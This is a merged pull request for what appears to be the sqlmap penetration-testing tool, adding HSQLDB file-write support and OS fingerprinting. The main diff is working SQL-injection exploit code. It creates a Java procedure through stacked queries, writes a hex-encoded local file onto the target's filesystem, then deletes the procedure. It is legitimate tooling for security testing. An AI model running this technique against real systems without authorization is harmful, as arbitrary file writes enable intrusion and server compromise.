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HSQLDB write file support #4379

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Merged
stamparm merged 3 commits into from
Oct 13, 2020
Merged

HSQLDB write file support #4379

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cbb557f
Make asterisk work with --csrf-token option
tree-chtsec Aug 13, 2020
4fd3916
merge to latest
Oct 12, 2020
110be00
add --file-write support in HSQLDB
Oct 12, 2020
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51 changes: 48 additions & 3 deletions plugins/dbms/hsqldb/filesystem.py
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Original file line number Diff line number Diff line change
Expand Up @@ -5,6 +5,12 @@
See the file 'LICENSE' for copying permission
"""

from lib.core.common import randomStr
from lib.core.data import kb
from lib.core.data import logger
from lib.core.decorators import stackedmethod
from lib.core.enums import PLACE
from lib.request import inject
from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.filesystem import Filesystem as GenericFilesystem

Expand All @@ -13,6 +19,45 @@ def readFile(self, remoteFile):
errMsg = "on HSQLDB it is not possible to read files"
raise SqlmapUnsupportedFeatureException(errMsg)

def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False):
errMsg = "on HSQLDB it is not possible to write files"
raise SqlmapUnsupportedFeatureException(errMsg)
@stackedmethod
def stackedWriteFile(self, localFile, remoteFile, fileType=None, forceCheck=False):

funcName = randomStr()
MAX_BYTES = 2 ** 20

debugMsg = "creating a Java Language Procedure '%s'" % funcName
logger.debug(debugMsg)

addFuncQuery = "CREATE PROCEDURE %s (IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(%s)) " % (funcName, MAX_BYTES)
addFuncQuery += "LANGUAGE JAVA DETERMINISTIC NO SQL "
addFuncQuery += "EXTERNAL NAME 'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'"
inject.goStacked(addFuncQuery)

logger.debug("encoding file to its hexadecimal string value")

fcEncodedList = self.fileEncode(localFile, "hex", True)
fcEncodedStr = fcEncodedList[0][2:]
fcEncodedStrLen = len(fcEncodedStr)

if kb.injection.place == PLACE.GET and fcEncodedStrLen > 8000:
warnMsg = "the injection is on a GET parameter and the file "
warnMsg += "to be written hexadecimal value is %d " % fcEncodedStrLen
warnMsg += "bytes, this might cause errors in the file "
warnMsg += "writing process"
logger.warn(warnMsg)

debugMsg = "exporting the %s file content to file '%s'" % (fileType, remoteFile)
logger.debug(debugMsg)

# http://hsqldb.org/doc/guide/sqlroutines-chapt.html#src_jrt_procedures
invokeQuery = "call %s('%s', cast ('%s' AS VARBINARY(%s)))" % (funcName, remoteFile, fcEncodedStr, MAX_BYTES)
inject.goStacked(invokeQuery)

logger.debug("removing procedure %s from DB" % funcName)
delQuery = "DELETE PROCEDURE " + funcName
inject.goStacked(delQuery)

message = "the local file '%s' has been successfully written on the back-end DBMS" % localFile
message += "file system ('%s')" % remoteFile
logger.info(message)

10 changes: 10 additions & 0 deletions plugins/dbms/hsqldb/fingerprint.py
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Original file line number Diff line number Diff line change
Expand Up @@ -144,3 +144,13 @@ def checkDbms(self):
def getHostname(self):
warnMsg = "on HSQLDB it is not possible to enumerate the hostname"
logger.warn(warnMsg)


def checkDbmsOs(self, detailed=False):
if Backend.getOs():
infoMsg = "the back-end DBMS operating system is %s" % Backend.getOs()
logger.info(infoMsg)
else:
self.userChooseDbmsOs()